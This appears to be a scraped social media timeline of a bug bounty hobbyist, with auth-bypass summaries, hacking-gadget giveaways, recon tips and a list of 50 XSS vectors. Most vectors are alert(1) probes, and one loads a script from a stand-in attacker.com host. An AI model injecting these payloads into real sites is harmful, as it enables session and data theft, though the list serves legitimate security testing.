Olivia
Online
I'm Kira
@agent_5100
Normal Tech guy
Joined April 2023
2.5K Following
76 Followers
460 Posts
When the frontend is doing the auth check, the frontend is the attack surface.
In our latest Exploits Explained, SRT Researcher @kuldeepdotexe breaks down three client-side authentication bypasses he found on real assessments:
1) Forging a JWT and expiry into localStorage after spotting an authRequired: !0 route guard
2) Flipping a sessionStorage loggedIn flag and setting userInfo to {} to satisfy a truthy check
3) Toggling is_active from false to true in an API response to unlock a hidden webhook flow for an inactive user
https://t.co/GMXehXStqU
Day 4
today i read blogs on wiz about jenkins and started doing bug bounty on meesho .
Day 3
Today i did threat intel work for my company and also actively looking for bug bounty strategies to strengthen my methodology.
Day 2:
Today, I worked on a legal assistant project and explored the Unit 8200. I also watched a video by a Wiz technical team member about CTFs.
This made me decide to dive deeper into hacking, especially focusing on cloud security and AI security.
Learning continues ........
Yesterday, I committed to spending the next 1000 days diving deep into hacking and security research.
Day 1: I explored the DevSecOps room on TryHackMe and started collecting tools for bug bounty hunting.
This is just the beginning.
⏳ Only 24 Hours Left! The clock is ticking!
We're giving away all of these hacking devices for absolutely FREE to celebrate hitting 600,000 subscribers on YouTube. If you haven't jumped in yet, this is your final warning before the window slams shut. 🎉
Thank you so much for your love and support 🙏
✅ How to Enter
Follow us on X
Comment on this or the original post what you want us to teach next.
Repost this or the original to complete your entry!
🗓️ Ends: Tomorrow
🎁 Each winner will receive a powerhouse kit including:
🔥 ZS Cactus PRO: Combine keystroke injection capabilities, hardware keylogging and Wi-Fi phishing with wireless control.
🔥 ZS Venom PRO: Keystroke injection capabilities and Wi-Fi phishing with wireless control all inside a normal charging cable!
🔥 Atheros AR9271 WiFi Adapter: The gold standard for wireless hacking. It supports monitor mode and packet injection out of the box with rock-solid Linux compatibility.
🔥 Realtek RTL8812AU WiFi Adapter: Need 5Ghz? This dual-band adapter gives you high-gain performance and modern 802.11ac support for auditing high-speed networks.
🔥 Data Blocker: Stay secure on the go. This "USB condom" prevents accidental data exchange and juice jacking when charging your devices in public spaces.
Single biggest improvement I made to my CLAUDE.md:
"When I report a bug, don't start by trying to fix it. Instead, start by writing a test that reproduces the bug. Then, have subagents try to fix the bug and prove it with a passing test."
🔥 Hunting XSS in 2026? Here are 50 XSS vectors every bug bounty hunter should test. Copy, tweak, fuzz, profit. 💰👇
https://t.co/KSx6NCxQPr
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<math href="javascript:alert(1)">CLICK</math>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<object data=javascript:alert(1)>
<embed src=javascript:alert(1)>
<link rel=stylesheet href=javascript:alert(1)>
<form><button formaction=javascript:alert(1)>CLICK</button></form>
<input autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<meta http-equiv=refresh content="0;url=javascript:alert(1)">
javascript:alert(1) (URL parameter injection)
" onmouseover=alert(1) x=" (attribute breakout)
'><svg onload=alert(1)> (HTML context breakout)
</script><script>alert(1)</script> (script context breakout)
-alert(1)- inside JS eval sinks
${alert(1)} (template literal injection)
{{constructor.constructor('alert(1)')()}} (AngularJS sandbox escape)
"><img src=x onerror=alert(1)> (DOM insertion)
location='javascript:alert(1)'
setTimeout('alert(1)')
Set.constructor('alert(1)')()
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x>
<img src=1 href=1 onerror="javascript:alert(1)">
data:text/html,<script>alert(1)</script>
data:image/svg+xml,<svg xmlns="https://t.co/QyDGVMbJEw" onload="alert(1)"/>
<base href=javascript:alert(1)//>
<img src=x:alert(1) onerror=eval(src)>
<a href="jAvAsCrIpT:alert(1)">CLICK</a>
<a href="javascript:alert(1)">CLICK</a>
%3Cscript%3Ealert(1)%3C/script%3E (URL encoded)
<script>alert(1)</script> (HTML encoded)
<img src=x onerror=confirm?.(1)>
<svg/onload=alert?.(1)>
<script>top</script>
<img src=x oneonerrorrror=alert(1)> (filter bypass fuzzing)
<div style="background-image:url(javascript:alert(1))">
<img srcset="x 1x, javascript:alert(1) 2x">
<script src=//attacker.com/xss.js></script> (external injection)
<iframe srcdoc="<script>alert(1)</script>"></iframe>
#bugbounty #xss #infosec #pentesting #cybersecurity #appsec #hacking #redteam #wehack #securitytesting
ghidra-mcp v3.0.0 - 179 MCP tools for AI-powered reverse engineering (full headless, Ghidra Server) https://t.co/tXMkV29uYZ
Turn your targets list into a prioritized attack surface with this mass recon one-liner. 👇
Before touching Burp:
1️⃣ Read the company website
How do they make money?
What are premium features?
2️⃣ Identify trust boundaries
• Authenticated vs unauthenticated
• Free vs paid
• Admin vs support
3️⃣ Map features
Not endpoints.
Features.
Reset password
Invite user
Apply coupon
Upload document
Change email
4️⃣ Ask:
“What assumption is this feature making?”
That assumption is your entry point.
Hack the workflow.
Not the parameter.
@cb_doge Not really
@Ayushi_sharma02 Interested
@wallarm Dive deeper into JWT exploitation! 👇
https://t.co/a0G37tsfcp
@nitesh_singh5 Interested
🔵 𝗖𝗕𝗧𝗣 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 𝗥𝗲𝗮𝗱𝗶𝗻𝗲𝘀𝘀 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲 - 𝗖𝗵𝗮𝗻𝗰𝗲 𝘁𝗼 𝗪𝗶𝗻 𝗮 𝗙𝗥𝗘𝗘 𝗘𝘅𝗮𝗺 🤩!
Are you preparing to start your journey in 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 / 𝗦𝗢𝗖 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝘀?
Test your fundamentals with this 𝗖𝗕𝗧𝗣-𝘀𝘁𝘆𝗹𝗲 𝗾𝘂𝗲𝘀𝘁𝗶𝗼𝗻 👇
📸 [𝘘𝘶𝘦𝘴𝘵𝘪𝘰𝘯 𝘪𝘯 𝘪𝘮𝘢𝘨𝘦]
💬 𝗖𝗼𝗺𝗺𝗲𝗻𝘁 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗰𝗼𝗿𝗿𝗲𝗰𝘁 𝗮𝗻𝘀𝘄𝗲𝗿 and demonstrate your readiness.
🎁 𝗚𝗶𝘃𝗲𝗮𝘄𝗮𝘆
We’ll be selecting 𝟯 𝗹𝘂𝗰𝗸𝘆 𝗽𝗮𝗿𝘁𝗶𝗰𝗶𝗽𝗮𝗻𝘁𝘀 with the correct answer to receive the
𝗖𝗲𝗿𝘁𝗶𝗳𝗶𝗲𝗱 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 𝗣𝗿𝗮𝗰𝘁𝗶𝘁𝗶𝗼𝗻𝗲𝗿 (𝗖𝗕𝗧𝗣) 𝗲𝘅𝗮𝗺 — 𝗰𝗼𝗺𝗽𝗹𝗲𝘁𝗲𝗹𝘆 𝗙𝗥𝗘𝗘.
❤️𝗟𝗶𝗸𝗲 𝘁𝗵𝗶𝘀 𝗽𝗼𝘀𝘁, 🔄𝘀𝗵𝗮𝗿𝗲 𝗶𝘁, 𝗮𝗻𝗱 👥𝘁𝗮𝗴 𝘆𝗼𝘂𝗿 𝗳𝗿𝗶𝗲𝗻𝗱𝘀 to increase your chances of winning the 𝗙𝗥𝗘𝗘 𝗖𝗕𝗧𝗣 𝗲𝘅𝗮𝗺.
🧪 Want a realistic exam experience before the real attempt?
Try our 𝗖𝗕𝗧𝗣 𝗠𝗼𝗰𝗸 𝗘𝘅𝗮𝗺 to assess your preparedness and identify gaps.
🔥 𝗠𝗶𝘀𝘀𝗲𝗱 𝘁𝗵𝗲 𝗴𝗶𝘃𝗲𝗮𝘄𝗮𝘆?
We’re currently offering 𝟳𝟱% 𝗗𝗶𝘀𝗰𝗼𝘂𝗻𝘁 𝗼𝗻 𝗮𝗹𝗹 𝗼𝘂𝗿 𝗣𝗲𝗻𝘁𝗲𝘀𝘁𝗶𝗻𝗴 𝗘𝘅𝗮𝗺𝘀, making this the perfect time to get started—even if you’re new to cybersecurity.
🔖𝗨𝘀𝗲 𝗗𝗶𝘀𝗰𝗼𝘂𝗻𝘁 𝗖𝗼𝗱𝗲- 75-OFF
🚀 𝗖𝗕𝗧𝗣 𝗶𝘀 𝗮𝗻 𝗲𝗻𝘁𝗿𝘆-𝗹𝗲𝘃𝗲𝗹 𝗲𝘅𝗮𝗺 𝗱𝗲𝘀𝗶𝗴𝗻𝗲𝗱 𝘁𝗼 𝘃𝗮𝗹𝗶𝗱𝗮𝘁𝗲 𝗿𝗲𝗮𝗹-𝘄𝗼𝗿𝗹𝗱 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 𝗳𝘂𝗻𝗱𝗮𝗺𝗲𝗻𝘁𝗮𝗹𝘀.
Start right. Start strong 💪 https://t.co/jZsdRy1Ryk
![TheSecOpsGroup's tweet photo. 🔵 𝗖𝗕𝗧𝗣 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 𝗥𝗲𝗮𝗱𝗶𝗻𝗲𝘀𝘀 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲 - 𝗖𝗵𝗮𝗻𝗰𝗲 𝘁𝗼 𝗪𝗶𝗻 𝗮 𝗙𝗥𝗘𝗘 𝗘𝘅𝗮𝗺 🤩!
Are you preparing to start your journey in 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 / 𝗦𝗢𝗖 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝘀?
Test your fundamentals with this 𝗖𝗕𝗧𝗣-𝘀𝘁𝘆𝗹𝗲 𝗾𝘂𝗲𝘀𝘁𝗶𝗼𝗻 👇
📸 [𝘘𝘶𝘦𝘴𝘵𝘪𝘰𝘯 𝘪𝘯 𝘪𝘮𝘢𝘨𝘦]
💬 𝗖𝗼𝗺𝗺𝗲𝗻𝘁 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗰𝗼𝗿𝗿𝗲𝗰𝘁 𝗮𝗻𝘀𝘄𝗲𝗿 and demonstrate your readiness.
🎁 𝗚𝗶𝘃𝗲𝗮𝘄𝗮𝘆
We’ll be selecting 𝟯 𝗹𝘂𝗰𝗸𝘆 𝗽𝗮𝗿𝘁𝗶𝗰𝗶𝗽𝗮𝗻𝘁𝘀 with the correct answer to receive the
𝗖𝗲𝗿𝘁𝗶𝗳𝗶𝗲𝗱 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 𝗣𝗿𝗮𝗰𝘁𝗶𝘁𝗶𝗼𝗻𝗲𝗿 (𝗖𝗕𝗧𝗣) 𝗲𝘅𝗮𝗺 — 𝗰𝗼𝗺𝗽𝗹𝗲𝘁𝗲𝗹𝘆 𝗙𝗥𝗘𝗘.
❤️𝗟𝗶𝗸𝗲 𝘁𝗵𝗶𝘀 𝗽𝗼𝘀𝘁, 🔄𝘀𝗵𝗮𝗿𝗲 𝗶𝘁, 𝗮𝗻𝗱 👥𝘁𝗮𝗴 𝘆𝗼𝘂𝗿 𝗳𝗿𝗶𝗲𝗻𝗱𝘀 to increase your chances of winning the 𝗙𝗥𝗘𝗘 𝗖𝗕𝗧𝗣 𝗲𝘅𝗮𝗺.
🧪 Want a realistic exam experience before the real attempt?
Try our 𝗖𝗕𝗧𝗣 𝗠𝗼𝗰𝗸 𝗘𝘅𝗮𝗺 to assess your preparedness and identify gaps.
🔥 𝗠𝗶𝘀𝘀𝗲𝗱 𝘁𝗵𝗲 𝗴𝗶𝘃𝗲𝗮𝘄𝗮𝘆?
We’re currently offering 𝟳𝟱% 𝗗𝗶𝘀𝗰𝗼𝘂𝗻𝘁 𝗼𝗻 𝗮𝗹𝗹 𝗼𝘂𝗿 𝗣𝗲𝗻𝘁𝗲𝘀𝘁𝗶𝗻𝗴 𝗘𝘅𝗮𝗺𝘀, making this the perfect time to get started—even if you’re new to cybersecurity.
🔖𝗨𝘀𝗲 𝗗𝗶𝘀𝗰𝗼𝘂𝗻𝘁 𝗖𝗼𝗱𝗲- 75-OFF
🚀 𝗖𝗕𝗧𝗣 𝗶𝘀 𝗮𝗻 𝗲𝗻𝘁𝗿𝘆-𝗹𝗲𝘃𝗲𝗹 𝗲𝘅𝗮𝗺 𝗱𝗲𝘀𝗶𝗴𝗻𝗲𝗱 𝘁𝗼 𝘃𝗮𝗹𝗶𝗱𝗮𝘁𝗲 𝗿𝗲𝗮𝗹-𝘄𝗼𝗿𝗹𝗱 𝗕𝗹𝘂𝗲 𝗧𝗲𝗮𝗺 𝗳𝘂𝗻𝗱𝗮𝗺𝗲𝗻𝘁𝗮𝗹𝘀.
Start right. Start strong 💪 https://t.co/jZsdRy1Ryk](https://pbs.twimg.com/media/G9aVKZjaYAMoEJW.jpg)
Who's up for a bonus challenge? Easier than usual! 👀
6 random solvers will win a limited edition t-shirt! 😎
Rules:
✅ Follow us @INTIGRITI
✅ Submit the flag before 31/12/2025, 11:59 UTC 👇
https://t.co/PZIAe1cF7S
Do you know you can find high to critical severity vulnerabilities just by doing reconnaissance properly?
Most beginners think exploitation is the hard part, but what actually holds them back is not knowing where to look or how deep to go. I’ve seen people pick random targets, run recon tools without context, open Burp, and still end up with nothing meaningful.
If you are someone who can related with this, Then i can something special for you.
I've recently created an interesting course where instead of jumping straight into exploits, it shows how to think during reconnaissance. You’ll learn how to pick the right target as a beginner, how to recon web applications with intent, and how to dive deeper into an application instead of stopping at surface-level findings.
The key part comes at the end. We take a real-world target and uncover high to critical severity vulnerabilities using only in-depth reconnaissance, with a full practical walkthrough that shows the entire thought process.
If recon feels confusing or random right now, this course is meant to bring clarity and structure — not shortcuts.
I’ve shared an 85% Christmas discount below.
The link is valid for only 50 students and will expire in 3 days.
https://t.co/Z5q62JAMKA
@thedawgyg I have nothing to say maybe apply top hackers method/trick to find similar bugs
I applied your HTTP/0.9 trick in 2024 and found Log4j Bypass The web app fix the finding on https and HTTP/1.1 or 2.0
I tried http instead of https and http/0.9 and made around 10k for this.
Last Seen Users on Sotwe
Alumoni Kulu
Seen from India
El interiorano
Seen from Panama
Pasutri kaltim
Seen from Indonesia
Neptune 🇦🇷 Pornhub (BOB BIG TULA)
Seen from Turkey
itiraf Et
Seen from Turkey
◤Destiny(運命) ◢ ◤ LEWD◢ Nally.Vtube ◤ 
Seen from Spain
pijat panggilan khusus wanita
Seen from Indonesia
ABAZA ERKEKLER 💥💤
Seen from Germany
Trai Thẳng siêu ngon
Seen from Vietnam
Penikmat ibu Kandung
Seen from Singapore
Most Popular Users
Elon Musk
@elonmusk
240.2M followers
Barack Obama
@barackobama
119.3M followers
Donald J. Trump
@realdonaldtrump
111.6M followers
Cristiano Ronaldo
@cristiano
109M followers
Narendra Modi
@narendramodi
107M followers
Rihanna
@rihanna
97.3M followers
NASA
@nasa
92.1M followers
Justin Bieber
@justinbieber
90.6M followers
KATY PERRY
@katyperry
86.9M followers
Taylor Swift
@taylorswift13
80.7M followers
Lady Gaga
@ladygaga
72.2M followers
Kim Kardashian
@kimkardashian
69.4M followers
YouTube
@youtube
68.6M followers
Virat Kohli
@imvkohli
68.6M followers
Bill Gates
@billgates
63.4M followers
The Ellen Show
@theellenshow
62.5M followers
CNN
@cnn
61.9M followers
Neymar Jr
@neymarjr
61.2M followers
X
@x
60.9M followers
Selena Gomez
@selenagomez
59.9M followers